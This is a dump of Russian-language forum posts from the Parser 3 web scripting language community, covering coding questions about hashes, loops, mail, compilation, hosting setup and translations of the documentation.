целая часть -- [b]integer part[/b]\
дробная часть -- [b]fractional part[/b]\
\
[b]Заголовки[/b] (чаще всего главные термины здесь и идут):\
-------------------------\
[i]random[/i] -- Pseudorandom number\
[i]round, floor, ceiling[/i] -- Rounding of number\
[i]trunc, frac[/i] -- Operations with integer/fractional part\
[i]abs, sign[/i] -- Operation with number sign\
[i]degrees, radians[/i] -- Degrees-radians transformation\
[i]sin, asin, cos, acos, tan, atan[/i] -- Trigonometric functions\
[i]exp, log[/i] -- Logarithmic functions\
[i]pow[/i] -- Raising a number to power\
[i]sqrt[/i] -- Square root of a number\
[i]crypt[/i] -- Hashing passwords\
-------------------------\
"
"10124","Да согласен, полосы прокрутки сайту явно не хватало!\
Кстати, я скоро выложу где-нибудь класс для создания и работы со скроллами страничек, может Misha даже в примеры закинет ;).\
Класс практически готов, осталось кое-чего поправить и довести до товарного вида. \"Демо-версию\" возможностей класса можно смотреть здесь: http://ftep.debryansk.ru/classes/exsample.html\
Скоро каждый сможет в ЛЁГКУЮ добавить на свой сайт (написанный конечно же на Парсере) какой угодно по внешнему виду скролл старничек с помощью этого класса."
"10126","Базовый цикл - menu, второй бызовый - foreach, ибо table и hash на мой взгляд \"более главные\" типы, чем string и int/double.\
С помошью этих циклов и правильного лимитирования данных можно практически забыть про for и while.\
Лично я последний раз пользовал for для проверки скрости выполнения кода ;-)"
"10128","Я тоже редко использую их при работе с данными, но когда требуется написать алгоритм или просто вывести какие-то значения с заданным шагом, то здесь без цикла не обойтись! menu здесь не поможет, если что-то можно быстро вычслить, то значит это не надо где-то хранить в виде данных. Гораздо проще и экономнее хранить быстрый алгоритм (правда придумать его бывает иногда не так просто)."
"10130","Хотелось бы узнать:\
1) как происходит обмен между червером и клиентом(без перезагрузки)\
\
2) как синхронизировать, если открыто несколько окон чата"
"10131","Как установить и настроить Parser?"
"10132","А ты оглянись вокруг"
"10133","пример:\
$переменная1$переменная2 - так выдаёт ошибку, если вставляю между ними / или : ($переменная1/$переменная2 или $переменная1:$переменная2) то всё работает, а мне ни / ни : нафиг ненужно, может существует знак разделитель который при передаче кода скрипту не генерируется в html?\
\
Извините за кривой язык."
"10136","не уверен, т.к. все что написано UserDir public_html\
\
+ баг заметил, если через шел парсеру задать документ, для выполнения, то он чего-то больше через www не работает. и пишет в лог от httpd error.log Parser3.0.005"
"10137","дело такое: есть форма которая генерится парсером, там всегда меняется кол-во полей, ну у них есть имена состоящие из из двух частей название элемента и индекс ну это не суть, вот мне нужно преобразовать это хеш в другой, со сравнением не никаких проблем, а вот с новым хешом есть, новый элемент добовляется, сразу его читаю, как только foreach кончился парсер пишет\
\
contains illegal assignment attempt of hash to MAIN method_frame, use constructor\
\
и вообще у меня что то сранное с хешами творится,\
если можите объясните, как формируется в памяти хеш, как к ниму происходит обращение,\
что значит когда парсер пишет hash locked???\
\
и вообще как например написать рекурсивный метод показа хеша?:\
я вот пробовал :\
@show_ready_hash[this_hash]\
<ul>\
^this_hash.foreach[key;val]{\
 ^if($key is 'hash'){^show_ready_hash[$key]}{<li> $self.key=$self.val}\
}[</li>]\
<ul>\
}\
\
$my_hash[^hash::create[]]\
$my_hash[$.temp[shutka]\
 $.i[\
 $.j(999)]\
 	 $.k(25)]\
\
^show_ready_hash[$my_hash]\
\
парсер пишет \
contains illegal assignment attempt of hash to MAIN code_frame, use constructor\
val\
\
разъясните мне, а то я уже задолбался с бубном плясать, скоро суициду захочу...:)\
 "
"10138","http://www.artlebedev.ru/posters/links/links-1024x768.jpg"
"10139","... надо так:\
[code]\
@show_ready_hash[this_hash]\
<ul>\
^this_hash.foreach[key;val]{\
	^if($val is 'hash'){\
		^show_ready_hash[$val]\
	}{\
		<li> $key=$val\
	}\
}[</li>]\
</ul>\
\
\
@main[]\
$my_hash[^hash::create[]]\
$my_hash[\
	$.temp[shutka]\
	$.i[\
		$.j(999)\
	]\
	$.k(25)\
]\
^show_ready_hash[$my_hash]\
[/code]\
в $key будет КЛЮЧ, который всегда строка(число)\
"
"10141","Сегодня днем запустил меня под именем Misha v.3, потом -- вообще не захотел регистрировать. Пароль не принимает -- или он теперь будет постоянно отображать форму введения пароля?"
"10143","[code]\
@show_ready_hash[this_hash]\
<ul>\
^this_hash.foreach[key;val]{\
	^if($val is 'hash'){\
		<li>$key^[\
		^show_ready_hash[$val]\
			^]		\
	}{\
		<li> ^if($val is 'string'){$key^[$val^]}{$key^($val^)}\
	}\
}[</li>]\
</ul>\
[/code]"
"10145","1. Читаешь FAQ, документацию...\
2. Скачиваешь все что нужно и заливаешь на сервак...\
3. Если что-то не получается пишиешь сюда что именно."
"10146","<form method=\"post\" action=\"/docs/comment.html\" target=\"content\">\
\
- страницы /docs/comment.html на сайте нет, коммент добавить нельзя :-(\
\
А хотел я всего лишь откомментировать главу доки http://www.parser.ru/docs/lang/compilesrc.htm - текст моего неудавшего ся коммента - ниже:\
\
----------------\
\
win32xml или win32/xml ?!\
win32mailreceive или win32/mailreceive ?!\
\
и ещё - из man'а не очень понятно, как скомпилировать ISAPI-версию парсера..."
"10148","если я пишу ^connect[$mysql_connect_string]{$records[^table::sql{select count(*) from table where ...}]} то как мне потом посмотреть, что я достал $resords.?"
"10149","[code]\
^connect[$mysql_connect_string]{\
   $records[^int:sql{select count(*) from table where ...}]\
}\
[/code]\
\
\
http://www.parser.ru/docs/lang/intdoublesql.htm"
"10150","Увы, в текущей версии Парсера ничего не выйдет — разработчики там зачем-то жестко завязались (в Windows) за SMTP-сервер, использовать sendmail он не дает. Говорит, типа, «Хочу SMTP-сервер», и все тут. А заглушка — заменитель /usr/sbin/sendmail. Писать заглушечный SMTP-сервер, честно говоря, нет никакого желания — из пушки по воробьям.\
\
Можно попробовать попросить разработчиков Парсера вместо #ifdef WIN32 (или как там...) поставить обычный if с проверкой, что именно указано в конфигурации. Если $.sendmail[], то чтобы пользовался sendmail-ом, а если $.SMTP[], то SMTP. popen() в Windows тоже ведь работает.\
\
Между прочим, похожая проблема была раньше в PHP, но потом ее кто-то исправил. Но самое смешное — в bugs.php.net до сих пор не признаются, что проблемы уже нет — утверждают, что не должен sendmail под Windows работать. Хотя работает."
"10151","Это был действительно баг во враппере. Если QUERY_STRING не содержало ни одного знака \"=\", то были глюки. Сейчас все исправлено. Непонятно только одно: враппер написан на ассемблере и вообще не то что о Парсере — о CGI не имеет ни малейшего представления. Из-за чего он проглючивал, остается полнейшей загадкой."
"10152","Хехе =)\
Современный чат - тут не парсер нужон имхо, а открытие irc-соединения ну или что-то наподобие. Вот и можно поразмышлять, что за методы нам его помогут открывать и юзать..."
"10154","Выдаю все скопом: :)\
\
1. http://www.mryasov.ru/free/ - сделал систему бесплатных голосований... зацените плиз... посоветуйте чего-нибудь... как вообще сама идея?\
Просьба: как посмотрите, если не собираетесь дальше использовать - удалите свой логин: http://www.mryasov.ru/free/vote/delete_login/\
\
2. Сейчас на голосованиях защита от накрутки - по ip и кукам.\
можно еще что-нибудь как-нибудь сделать? :)\
\
3. Пытался сделать форму для отправки забытого пароля.\
Писал вот так:\
($users - таблица со всеми пользователями)\
[code]\
$current_user[^users.select($users.email eq '$form:email')]\
............\
      $.html{\
      Ваш логин: <b>$current_user.name</b><br>\
      Ваш пароль: <b>$current_user.pass</b><br>\
      }\
............\
[/code]\
Приходит пиьсмо:\
Ваш логин: \
Ваш пароль: \
А сами данные не присылает. Почему?\
Хотя если прописать где-нибудь на странице\
$current_user.name и $current_user.pass, то они выводятся... т.е. $current_user не undef..."
"10155","зачем отвечать если вопрос не читал?!"
"10156","я в си не большой специалист- поэтому не могу написать себе драйвер к базе даных на informix'e У нас вся фирма сидит на нем, админа уговоритьпоставить mySql  или oracle  не удается... может ктонить возьмется за эту проблему..... плз!!! :`0"
"10157","http://www.parser.ru/forum/?id=7651"
"10159","в auto.p есть $charsetsdir, его необходимо поправить.\
\
[вероятно, вы использовали auto.p из архива с сайта, а не тот, который создал configure]"
"10161","предложите"
"10162","я с радостью добавлю хорошее решение в исходники. пришлите, пожалуйста, patch."
"10163","[quote]\
http://parser.ru/docs/lang/params.htm\
Параметры конструкторов и методов \
…\
Параметров может быть сколь угодно много или не быть совсем. Если в одних скобках несколько параметров, то они могут отделяться друг от друга точкой с запятой. Допустимы любые комбинации различных типов параметров. \
[/quote]\
"
"10164","скоро вы сможете себе свой сочинить [уже сейчас можно почти то же, но проблемы с локальными переменными].\
\
[code]\
@stepfor[counter;from;to;step;body][i]\
^if(!def $step){$step(1)}\
\
$i($from)\
^while($i<$to){\
  $caller.$counter($i)\
  $body\
  ^i.inc($step)\
}\
[/code]"
"10165","Дело в том, что в $.html ошибка и он не умеет вставлять значения переменных. Нужно отправлять в виде текста, но это не мешает использовать HTML (слава создателям Персера).\
\
[code]\
^mail:send[\
  $.content-type[text-html^; charsert=\"windows-1251\"]\
  $.subject[Ваш пароль]\
  $.text[\
    <html>\
       <body>\
         Ваш логин: <b>$current_user.name</b><br />\
         Ваш пароль: <b>$current_user.pass</b><br />\
       </body>\
    </html>\
  ]\
]\
[/code]\
\
Должно работать. Удачи."
"10166","откуда недоверие к тексту?"
"10167","как правильно, уже ответил Sumo "
"10168","если unix, то надо писать. несложно, и у меня есть наработки.\
высылаю желающему."
"10169","Ну во первых сначала о проблеме:\
есть хостинг на котором они говорят, что предлагают уже установленный Parser,\
так вот да он там был установлен нj сначала без XML, написал админу поставил.\
На хостинге запрещено задавать переменные окружения, так что SetEnv CGI_PARSER_CONFIG \
нельзя прописать путь к конфигурационному файлу. \
Ну как вы понимаете не хочется хранить там строку подключения в файле который лежит в вебпространстве.\
Админ говорит, что Парсер ищет конфигурационный файл в DOCUMENT_ROOT, как это можно исправить? \
Вообще мне кажется на хостинге должен быть Парсер установлен следующим образом:\
в конфигурационном файле где лежит Парсер\
должны быть прописаны пути к кодировкам и драйверам, заданы кодировки ответа, путь к sendmail  \
а потом должен стоять ^use[путь до пользовательского auto.p]\
где уже пользователь определит, такие переменные как $CLASS_PATH,\
строку подключения, и т.д.\
И я думаю, что на хостинге, выгодней ставить Парсер в виде модуля, но админ не хочет ставить модуль т.к. говорит: \
«Модуль мы ставить не хотим так как это создаст возможность для пользователей читать скрипты друг друга и нашего корневого сервера в том числе. Поэтому, кстати, мы используем исключительно CGI версию PHP.» \
Вопрос: для модуля это как то устранимо? Какие нужно настройки сделать админу чтобы у пользователей не было возможности прочитать чужие файлы?\
Да у почему Парсер в cgi версии читает конфиг. файл из DOCUMENT_ROOT ?\
\
"
"10170","Я не могу полностью вникнуть в суть проблемы, поскольку являюсь полным преверженцем второй версии Парсера, но высказать своё мнение хотелось бы.\
\
Я пишу в том числе и на РНР, и для удобства сохраняю параметры подключения MySQL в текстовом файле. Чтобы его нельзя было прочитать, просто запрещаю доступ к нему из .htaccess.\
\
Вот и всё."
"10171","ну во первых защита на *.p файлы стоит в .htaccess, их тоже нельзя прочитать, меня интересует много чего другого...."
"10172","> информацию, передаваемую браузером веб-серверу через строку запроса -- information sent by browser to web-server through the query string\
\
мм.. \"через строку запроса\" не было :) было \"(по HTTP-протоколу)\".\
\
> Задание кодировки документов на сервере -- Specifying server’s encoding\
> ====\
> кодировка -- encoding или charset?\
> ====\
\
charset.\
хоть и encoding больше похож на \"русское слово\" \"кодировка\", термин куда более широк:\
\"кодировать\" можно разное, \"chatset\" же: \"набор символов\", что куда точнее, и без всякого \"кодирования\".\
\
\
\
> Задание нового заголовка ответа HTTP -- Generating a new HTTP-response header\
\
setting\
\
> автоматически будет установлен нужный тип файла (content-type) по таблице MIME-TYPES -- a necessary type of file (according to table MIME-TYPES) will be reported to the browser through Content-Type header\
\
Corresponding content-type would be located in MIME-TYPES table\
\
> Отмена переопределений -- Cancelling re-definition\
\
...redefenitions\
\
"
"10173","\\\\Класс file предназначен для работы с файлами. Объекты класса могут быть созданы различными способами: \
\\\\1. методом POST через поле формы <form method=\"post\" enctype=\"multipart/form-data\"><input name=\"photo\" type=\"file\">.  \
\
и вот это\
\
\\\\Поле содержит имя файла. Объект класса file имеет поле name, если пользователь выбрал файл через поле формы с типом <input type=file>. Также в конструкторе file::load может быть указано альтернативное имя файла. \
\
\
\
Я немного непонял как загрузить файл с удаленного компутера. распишите немного этот момент поподробнее плизз\
 \
"
"10174","> ограничения на разрядность -- restricted digit capacity\
\
\"ограничения на разрядность класса X\" ~= \"X-values precision\".\
\
> экспонента по основанию e -- exponent to the base of e\
\
copy/paste: The exp function returns the exponential value of parameter\
\
> значения логарифмических функций от заданного числа -- values of logarithmic functions with the given number\
\
лучше перефразировать\
\
> логарифм по произвольному основанию base -- logarithm to the random base\
\
the base-B logarithm of V ... log(V)/log(B)\
\
\
> Для проверки введенного пароля к нему применяют то же преобразование, а результат сверяют с сохраненным -- Every time a user types a password, the received string is encrypted according to the same algorithm and the result is compared with the string stored in a file/database\
\
криво[и не термины :)]\
\
> округленное значение заданного числа -- round value of the given number\
\
rounded-up value..\
\
> Заголовки (чаще всего главные термины здесь и идут):\
> -------------------------\
> random -- Pseudorandom number\
> round, floor, ceiling -- Rounding of number\
\
просто Rounding\
\
> abs, sign -- Operation with number sign\
-s\
\
> degrees, radians -- Degrees-radians transformation\
\
'-' -> '/'\
\
"
"10175","Откуда недоверие к тексту, спрашиваете? Просто в этой главе, он, честно говоря, сыроват, нескладен и непонятен и в нём есть ошибки. \
\
Так, упоминаемого parser3/src/pa_config_fixed.h нет (в пути ошибка), при компиляции возникает неупомянутая в доке ошибка с нахождением bison.exe, не ясно, как компилировать не модуль apache, а isapi или cgi, в cvs есть как win23xml, так и win32/xml/ - как это понимать?\
\
PAF, нужно честно себе признаться, что документация в этом разделе доки - сырая. Её нужно 1) перепроверить 2) переписать, исходя из предположения, что читает её человек, только сегодня нашедший wincvs и установивший MSVC++6. С картинками. С изложением на уровне \"кликните сюда, потом сюда\". Я не хочу танцев с бубном, мне просто нужно получить самую свежую isapi-версию со всеми вкусностями, описанными в CHANGES без глубоких знаний cvs и с++ в режиме \"скачал, скомпилил, поставил\". Возражений \"хотите сырцы - извольте глубоко разбираться\" не нужно - если позиционируете парсер как инструмент в том числе и для рядового человека.\
\
P.S. Или плюньте на cvs и введите практику \"Nightly Builds\" как на mozilla.org - когда с сайта можно будет взять скомпилированную версию парсера под любую из основных платформ максимум трёхдневной свежести - это вообще замечательный вариант будет.\
\
С уважением,\
"
"10176","[code]\
^if(в вашем cgi-bin лежит parser3.cgi){\
[/code]\
если да, рядом с ним положите необходимый auto.p, в котором всё и задайте [кодировки, драйвера, строку подключения, CLASS_PATH].\
[code]\
}{\
[/code]\
если нет, и админы как-то ухитрились запретить вам к нему доступ:\
в /auto.p напишите\
[code]\
@USE\
/../hosting.p\
[/code]\
\
и при загрузке страниц parser будет считывать файл hosting.p, лежащий [b]вне[/b] вебпространства (на один уровень выше DOCUMENT_ROOT), как вы и хотите.\
\
[code]\
}\
[/code]"
"10177","если ты сам хочешь подгрузить файл, то у тебя ничего не получится. файл должен выбрать и засабмитить юзер.\
\
...эту функцию обещают в следующей версии Парсера..."
"10178","уважаемый Александр, не могли бы вы объяснить про модуль и как с помощью его другие пользователи могут читать чужие файлы?"
"10179","1. конкретнее про ошибки, я не уловил в письме ни одной конкретной.\
[вы описали 1(одну) опечатку (спасибо, исправлю)]\
\
2. про bison: на win32 идёт в поставке. \
[quote]\
Для компиляции под Win32…\
\
…необходим каталог:\
win32/tools\
[/quote]\
на unix вылезает понятный warning. есть разница между warning и error?\
\
3. в доке написано \"win32xml\", понимать надо буквально. что там и где ещё есть, это технические детали, и если делаете, не как написано, то получаться не должно.\
\
4. позиционирование использования parser это одно.\
сборка его из исходников: другое. прошу не путать.\
сборка была и будет делом отдельных людей."
"10181","А пока я примерно так while-ом и пользуюсь :)"
"10182","Не ну дак я понял:))).....что юзер форму должен заполнить :))).. значит пока при помощи парсера нельзя подгружать?? впринципе???...."
"10184","очевидно, ваш хостер (молодец) его использует"
"10185","так в том то и дело что нужно в linux'e  а винде то проблемм нет(за исглючением самой винды )"
"10186","странно, но до этого пробовал - нифига не помогало - видно надо было сдалть это + указать в .htaccess где главный конф и где конф сайта\
\
БОЛЬШОЕ СПАСИБО!!!"
"10188","Доброе время суток. Помогите плз.........\
Тестовый хтмл раьотает, а делаю всё как написано в уроке 1 имею следующее:\
 /usr/local/apache/zawibor/site/auto.p(6): 'uri' column not found [parser.r>\
 /usr/local/apache/zawibor/site/auto.p(6): 'uri' column not found [parser.r>\
 /usr/local/apache/zawibor/site/auto.p(6): 'uri' column not found [parser.r>\
 /usr/local/apache/zawibor/site/auto.p(6): 'uri' column not found [parser.r>\
 /usr/local/apache/zawibor/site/auto.p(6): 'uri' column not found [parser.r>\
 /usr/local/apache/zawibor/site/auto.p(6): 'uri' column not found [parser.r>\
 /usr/local/apache/zawibor/site/auto.p(6): 'uri' column not found [parser.r>\
 /usr/local/apache/zawibor/site/auto.p(6): 'uri' column not found [parser.r>\
 /usr/local/apache/zawibor/site/auto.p(6): 'uri' column not found [parser.r>\
 /usr/local/apache/zawibor/site/auto.p(6): 'uri' column not found [parser.r>\
sections.cfg :\
section_id   name        uri\
1        Ck`bm`?         /\
2        Mnbnqrh         /news/\
3        Jnmr`jr{        /contacts/\
4        Vem{            /price/\
5        B`xe lmemhe     /gbook/\
\
\
\
 что я делаю не так???"
"10190","да все колонки разделены табом :("
"10191","если auto.p не рядом с parser3.cgi, то да, надо указать его расположение в переменной окружения CGI_PARSER_CONFIG [как в доке и написано].\
\
непонятки, видимо, связаны с тем, что вы читаете старую документацию? [это судя по двум разным переменным окружения, о которых писали]."
"10193","еще:\
где можно узнать что было в TODO и что уже реализовано?\
и где самая последняя дока по \"птицу\"?\
"
"10194","Фрагмент листинга:\
\
c++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/pcre -I../../src/lib/libltdl -I/gnome/include/glib-1.2 -I/gnome/lib/glib/include -I/gnome/include -I/gnome/include/libgdome -I/gnome/include/libxml2    -g -O2 -c pa_charset.C\
pa_charset.C: In method `void Charset::addEncoding(char *)':\
pa_charset.C:534: assignment to `int (*)(unsigned char *, int *, const unsigned char *, int *)' from `int (*)(unsigned char *, int *, const unsigned char *, int *, void *)'\
pa_charset.C:534: `struct _xmlCharEncodingHandler' has no member named `inputInfo'\
pa_charset.C:535: assignment to `int (*)(unsigned char *, int *, const unsigned char *, int *)' from `int (*)(unsigned char *, int *, const unsigned char *, int *, void *)'\
pa_charset.C:535: `struct _xmlCharEncodingHandler' has no member named `outputInfo'\
pa_charset.C: In method `const char * Charset::transcode_cstr(xmlChar *)':\
pa_charset.C:566: `struct _xmlCharEncodingHandler' has no member named `outputInfo'\
pa_charset.C: In method `xmlChar * Charset::transcode_buf2xchar(const char *, unsigned int)':\
pa_charset.C:597: `struct _xmlCharEncodingHandler' has no member named `inputInfo'\
gmake[2]: *** [pa_charset.o] Error 1\
\
Версии:\
libxml2-2.4.28\
libxslt-1.0.23\
glib-1.2.10\
gdome2-0.7.2\
\
В каком направлении искать ошибку?"
"10195","приведите URL, где вы видите такие 2(две) переменные"
"10196","необходимо патчить библиотеки, см. INSTALL.\
\
я это делал на тех версиях, на которые в INSTALL стоят ссылки.\
на более новые если сумеете портануть, пришлите patch'и."
"10197","[code]\
$var1[f1]\
$var2[f2]\
$var3[f3]\
$param[^table::create[nameless]{f4	f5}]\
<p>\
	^$var1 - $var1<br/>\
	^$var2 - $var2<br/>\
	^$var3 - $var3<br/>\
	^$param.0 - $param.0<br/>\
	^$param.1 - $param.1\
</p>\
<form>\
	<input type=\"hidden\" name=\"f1\" value=\"Q1\">\
	<input type=\"hidden\" name=\"f2\" value=\"Q2\">\
	<input type=\"hidden\" name=\"f3\" value=\"Q3\">\
	<input type=\"hidden\" name=\"f4\" value=\"Q4\">\
	<input type=\"hidden\" name=\"f5\" value=\"Q5\">\
	<input type=\"hidden\" name=\"f1f2f3f4f5\" value=\"Qqq!\">\
	<input type=\"submit\">\
</form>\
<p>\
	^$form:f1 - $form:$var1<br/>\
	^$form:f2 - $form:$var2<br/>\
	^$form:f3 - $form:$var3<br/>\
#	^$form:f4 - $form:$param.0<br/>\
#	^$form:f5 - $form:$param.1<br/>\
#	^$form:f1f2f3f4f5 - $form:$var1$var2$var3$param.0$param.1\
</p>\
[/code]\
Как сделать так, чтобы работали закоментаренные строки?"
"10199","Я, к сожалению, не специалист в Парсере. Но вот, что удалось наковырять (как и предполагалось, там стоит условная компиляция):\
\
src\\classes\\mail.C, строка 285:\
\
#ifdef _MSC_VER\
  ++++\
  здесь код для SMTP\
  ++++\
#else\
  ++++\
  а здесь - для sendmail\
  ++++\
#endif // здесь конец функции\
\
Необходимо заменить на что-то вроде:\
\
if(mail_conf && mail_conf->get(*new(pool) String(pool, \"SMTP\"))) {\
    ++++\
    здесь код для SMTP\
} else if(mail_conf &&mail_conf->get(*new(pool) String(pool, \"sendmail\"))) {\
    ++++\
    здесь код для sendmail\
    ++++\
} else {\
  throw Exception(\"parser.runtime\", и т.д.);\
}\
\
Еще хочу добавить. Посмотрел я чуть-чуть исходники и совершенно искренне хочу высказать восхищение автору за прекрасный код. Все просто, лаконично, на C++ и, главное, аккуратно - нечасто приходится такое видеть."
"10200","к сожалению, SMTP кусок был взят из какой-то Win32 программы, и этим не отделаешься."
"10201","Устанавливаю парсер как модуль прописываю всё как в документации и ничего не работыет. При просмотре он выдаёт парсеровский код...\
---------\
Помогите люди добрые..."
"10203","А что в .htacces'е надо прописать?"
"10205","Да блин просто документацию невнемательно прочитал и всё не работало а теперь всё зработает наверное... Ну а если не заработает буду мучать всех дальше..."
"10207","КАЮСЬ И БЬЮ СЕБЯ В ГРУДЬ ПЯТКОЙ"
"10208","Что бы это могло значить - Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request\
"
"10210","[code]\
$str[твой текст]\
$repl[^table::create{a.b\
^#20[b].[/b]	.\
-.	_\
^#0A.	^;\
}]\
^str.replace[$repl]\
[/code]\
"
"10211","в этом коде:\
[code]\
## выбираем тело из базы\
$bd[^string:sql{\
	SELECT body\
	FROM l2\
	WHERE name='$global:path.2' and parent='$global:path.1'\
}]\
## меняем все переводы кареток\
$repl[^table::create[nameless]{^#0A.	[b]<p align=\"justify\">[/b]}]\
$bd[^bd.replace[$repl]]\
[/code]\
\
Как можно проставлять, к примеру [b]<p align=\"justify\">[/b], в начало строки. Какая нужна для этого таблица замен?\
"
"10213","если ты о том, почему это было в моем посте - то это был баг, ТАБ менялся на точку. (fixed)\
\
есть дока.\
есть описание того, как создавать таблицу.\
\
при чем здесь точки я не знаю."
"10214","1. Да я имел в виду пост. ОК, понятно, БАГ значит.\
\
2. С таблицами все ок, просто дело в том, что мне надо заменить #0A (перевод каретки на <p>). Я сделал такую таблицу:\
[code]\
$repl[^table::create[nameless]{^#0A	<p>}]\
[/code]\
Но она выдает мне:\
[code]\
Unhandled Exception (Debug)\
dictionary table 'from' column elements must not be empty\
exception.type=parser.runtime \
[/code]\
\
Но если добавить точку после ^#0A, то работает, но заодно убирает точку в тексте и ставит <p> после каждого предложения. Вот я и не пойму почему так.\
\
А вообще изначально я хотел в текст из базы вставлять перед каждым абзацем <p>. Абзацы в тексте, который хранится в базе, разделяются просто переводом каретки. \
\
Related topic: http://parser.ru/forum/?id=10211 ."
"10215","http://parser.ru/forum/?id=4604\
\
тут я писАл как правильно вставлять символы перевода строки и табуляции в таблицу замен:\
$repl[^table::create[nameless]{^taint[^#0A]	<p>}]"
"10216","[code]\
$bd[^bd.match[\\A][g]{<P>}]\
$bd[^bd.match[(\\n)][g]{</P>\
${match.1}<P>}]\
$bd[^bd.match[(.+)\\Z][g]{${match.1}</P>}]\
[/code]"
"10217","если про точки - то см. другой фрейм и меняй таблицу замены, т.к. фактически твоя замена ^#0A. <p align=\"justify\"> означает \"поменять все точки\"...\
\
если про \"в начало строки\" - то тебе дорога в match.\
replace меняет \"последовательность символов\" на \"последовательность символов\" и все. регулярных выражений(поиска по шаблону) у него нету. \
\
"
"10218","Ну тогда вот так:\
#ifdef _MSC_VER\
  ++++\
  здесь код для SMTP\
  ++++\
  if(письмо отослано) return;\
#endif\
\
if(mail_conf &&mail_conf->get(*new(pool) String(pool, \"sendmail\"))) {\
  ++++\
  здесь код для sendmail\
  ++++\
}\
\
Ну, чтобы не было взаимоисключающих вариантов с #else. Код для sendmail, если не ошибаюсь, должен работать и в Windows."
"10219","Каждый инструмент надо использовать для своих задач.\
Если есть инструмент, который делает то же самое на порядок быстрее - чтоит использовать его, как мне кажется."
"10223","1. Помню как то форуме проходила дискуссия о том, как узнавать скорость работы кода и т.д. Для этого есть какие-то скрытые возможности парсера. Как то искал в форуме, но не смог найти это сообщение. Подскажите.\
\
2. Возвращаясь к теме треда. Сделал так:\
[code]\
$bd[^bd.normalize[]]\
$bd[^bd.match[\\A][g]{<P>}]\
$bd[^bd.match[(\\n)][g]{</P>${match.1}<P>}]\
$bd[^bd.match[(.+)\\Z][g]{${match.1}</P>}]\
[/code]\
\
Добавил normalize к варианту от Ramesses II."
"10226","...а можно ли для денвера добавить скрытые переменные для определения создания страниц на парсере?\
\
[b]Related topic: http://www.parser.ru/forum/?id=8250 [/b]"
"10230","В парсере есть скрытые переменные для определения времени создания страниц и т.д.:\
[code]\
!$status:rusage hash\
!utime user time used\
!stime system time used\
!maxrss max resident set size\
!ixrss integral shared text memory size\
!idrss integral unshared data size\
!isrss integral unshared stack size\
[/code]\
\
Как-то в форуме это упоминалось (точнее в треде http://www.parser.ru/forum/?id=8250 ). Так вот когда дело дошло до использования этих переменных под Win32, то оказалось, что они не работают под Win32. \
\
Насколько я понял сделать это можно. Цитирую PAF'a:\
[quote]\
нет необходимости, нет возможности.\
у студии не было необходимости.\
кто знает, какие функции вызвать, пусть пришлёт мне почтой = будет.\
[/quote]\
\
Вот я и задал вопрос можно ли это сделать для Денверовского Парсера. Я не силен в программировании и особенно в некоторых терминах, поэтому моя речь может показаться дилетантской, но надеюсь, что меня поняли.\
\
C уважением,\
Baurjan.\
\
"
"10233","pa_vstatus.C: In method `class Value * VStatus::get_element(const class String &)':\
pa_vstatus.C:29: aggregate `struct rusage u' has incomplete type and cannot be initialized\
pa_vstatus.C:30: `RUSAGE_SELF' undeclared (first use this function)\
pa_vstatus.C:30: (Each undeclared identifier is reported only once\
pa_vstatus.C:30: for each function it appears in.)\
\
сие выдаётся при сборке на их американском сервере. \
Кто-нибудь из уважаемых разработчиков консультировал мастаковцев по-поводу установки парсера? они мне говорили, что такое было...\
\
уже не только я крайне заинтересован в использовании парсера на своём сайте на мастаке!\
\
уважаемые разрабочики, скажите что-нибудь!"
"10234","Вот сижу и думаю, или я тормоз, или rtfm плохо делал (-:\
Написал простенький класс. Все переменные, получающие значения в конструкторе, становятся доступны отовсюду. Так и должно быть. Но если я перенесу это все хозяйство в метод @auto[], то хренушки. Вот код:\
\
@CLASS\
testclass\
\
@auto[]\
$var1[value1]\
\
@load[]\
$var2[value2]\
\
@wassup[]\
var1 - $var1, var2 - $var2\
\
Вот вызов:\
^use[test1.p]\
$a[^testclass::load[]]\
^a.wassup[]\
\
Вот результат:\
var1 - , var2 - value2\
\
Где смысл? (-:"
"10235","Если я использую класс в статическом контексте (сорри за терминологию), то все Ок, переменные, объявленные в auto[] работают. Но если я создаю экземпляр класса, то хренушки. Почему так? Если это фича такая, то я не понял смысла..."
"10236","Можно ли зделать сабж?"
"10237","Метод auto[] - это статический конструктор, который вызывается при вызове первого статического метода класса.\
\
Цитата из документации:\
[quote]Если определен метод…\
@auto[]   \
\
…он будет выполнен автоматически при загрузке класса как статический метод (так называемый статический конструктор). Используется для инициализации статических полей (переменных) класса.[/quote]\
\
А вот load[] в твоем примере это уже динамический конструктор, который вызывается при создании экземпляра класса. Причем действия выполняемые статическим и динамическими конструкторами могут быть абсолютно разными и смешивать их не имеет никакого смысла. \
\
В конце концов тебе никто не мешает вызвать auto[] из load[] ..."
"10239","очевидно, configure определил, что getrusage есть, после чего выяснилось, что есть, но не все include файлы подключены.\
\
1. чтобы просто собралось, сделайте что пишу в заголовке.\
2. если будет интересно разобратся [и был $status:rusage], давайте в почту, предложу пару экспериментов."
"10240","всегда можно проверить, что вызывается, а что нет, добавив ^test[] в сомнительное место. добавьте=увидите ошибку.\
\
в чём тут дело: вы расчитываете из динамического метода (метода объекта, не класса) получить доступ к статической переменной просто $так.\
\
такое ожидание естественно и понятно, и в версии 3.0.0006, которая очень скоро выйдет, так и будет. [кому не терпится, может уже сейчас собрать её из CVS].\
\
в 3.0.0005 пока не так, и, как и написано в доке, доступ к этим переменным из динамического метода возможен так:\
\
[code]\
@dynamic_method[…]\
$CLASS.переменная\
[/code]\
\
для удобства, в статических методах этот синтаксис тоже поддерживается, и означает то же самое.\
\
в грядущей версии этот синтаксис останется для совместимости, но можно будет и просто $так обращаться и к динамическим[полям объекта] и к статическим[полям его класса] переменным."
"10241","Есть необходимость подключиться к базе Access без создания DSN. \
По аналогии с DBI, в качестве DSN попробовал записать примерно такую строку:\
ODBC:DRIVER=Microsoft Access Driver (*.mdb);UserCommitSync=Yes;Threads=3;\
SafeTransactions=0;PageTimeout=5;MaxScanRows=8;MaxBufferSize=2048;\
FIL=MS Access;DriverId=25;\
DefaultDir=.;DBQ=./db.mdb\
\
Получаю такую ошибку:\
'odbc://****' CDBException: Data source name too long'\
\
Вопрос: есть ли способ подкдючиться к Access без создания DSN?\
\
"
"10242","слов сообщения об ошибке в моих или используемых мной mfc исходниках нет.\
\
значит не нравится самому менеджеру odbc.\
\
что это значит ясно меньше. попробуйте то, что он советует. выкинте ненужные куски?"
